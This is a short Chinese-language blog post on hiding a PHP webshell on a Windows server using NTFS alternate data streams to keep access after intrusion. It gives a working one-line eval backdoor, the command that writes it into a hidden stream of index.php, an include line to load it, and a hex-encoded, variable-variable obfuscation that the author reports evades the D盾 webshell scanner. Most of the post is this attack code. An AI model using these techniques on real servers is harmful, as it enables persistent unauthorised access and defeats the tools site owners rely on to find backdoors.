0X01 前言
未知攻,焉知防,在web端如何做手腳維護自己拿到的權限呢?首先要面臨的是webshell查殺,那么通過利用ADS隱藏webshell,不失為一個好辦法。
0X02 利用ADS隱藏webshell
關於ADS的介紹,就不再闡述,詳見尾部參考資料。
PHP 一句話木馬:<?php @eval($_POST['chopper']);?>,當然也可以直接制作免殺PHP一句話,畢竟PHP千變萬化,從變量,數組,賦值,運算,函數等,各種變種。。。
制作步驟一:創建ADS隱藏文件
在服務器上echo一個數據流文件進去,比如index.php是網頁正常文件,我們可以這樣子搞:
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
這樣子就生成了一個不可見的shell hidden.jpg,常規的文件管理器、type命令,dir命令、del命令發現都找不出那個hidden.jpg的。
問題1:如何查看index.php:hidden.jpg內容呢?
進入文件所在目錄,notepad index.php:hidden.jpg 或者 dir /r
問題2:如何刪除index.php:hidden.jpg?
直接刪除index.php即可
制作步驟二:文件包含
一個正常文件里把這個ADS文件include進去,<?php include(‘index.php:hidden.jpg’)?>,這樣子就可以正常解析我們的一句話了。
但是卻非常容易被webshell查殺工具查到,看到可疑引用的文件名,分分鍾出局了。
制作步驟三:如何繞過檢測
這邊要解決的是include函數,如何讓它檢測不出來有可疑引用文件呢?
在某次應急響應事件中,獲取到一段代碼,這里拿來改造一下。代碼如下:
<?php @include(PACK('H*','xx')); ?>
PHP pack() 函數 函數介紹:http://www.w3school.com.cn/php/func_misc_pack.asp
將index.php:hidden.jpg進行hex編碼
<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>
再次用D盾_web查殺進行掃描,還是被查到了。
進一步利用PHP 可變變量進行二次轉換,最后得到繞過D盾掃描的姿勢如下:
<?php $a="696E6465782E7068703"."A68696464656E2E6A7067"; $b="a"; include(PACK('H*',$$b)) ?>
繞過D盾_web查殺如圖:
0X03 最后
權限維持,也是一門很重要的課題,熟悉各種常見的后門技術,並懂得如何進行安全防御。
關於我:一個網絡安全愛好者,致力於分享原創高質量干貨,歡迎關注我的個人微信公眾號:Bypass--,瀏覽更多精彩文章。
參考文章:
NTFS中的ADS的一些問題 https://www.i0day.com/733.html
一個用ADS(供選數據流)隱藏Windows后門的方法 http://www.freebuf.com/articles/73270.html
Windows中隱藏文件的捷徑---------NTFS文件流(ADS) http://blog.csdn.net/c395565746c/article/details/5336260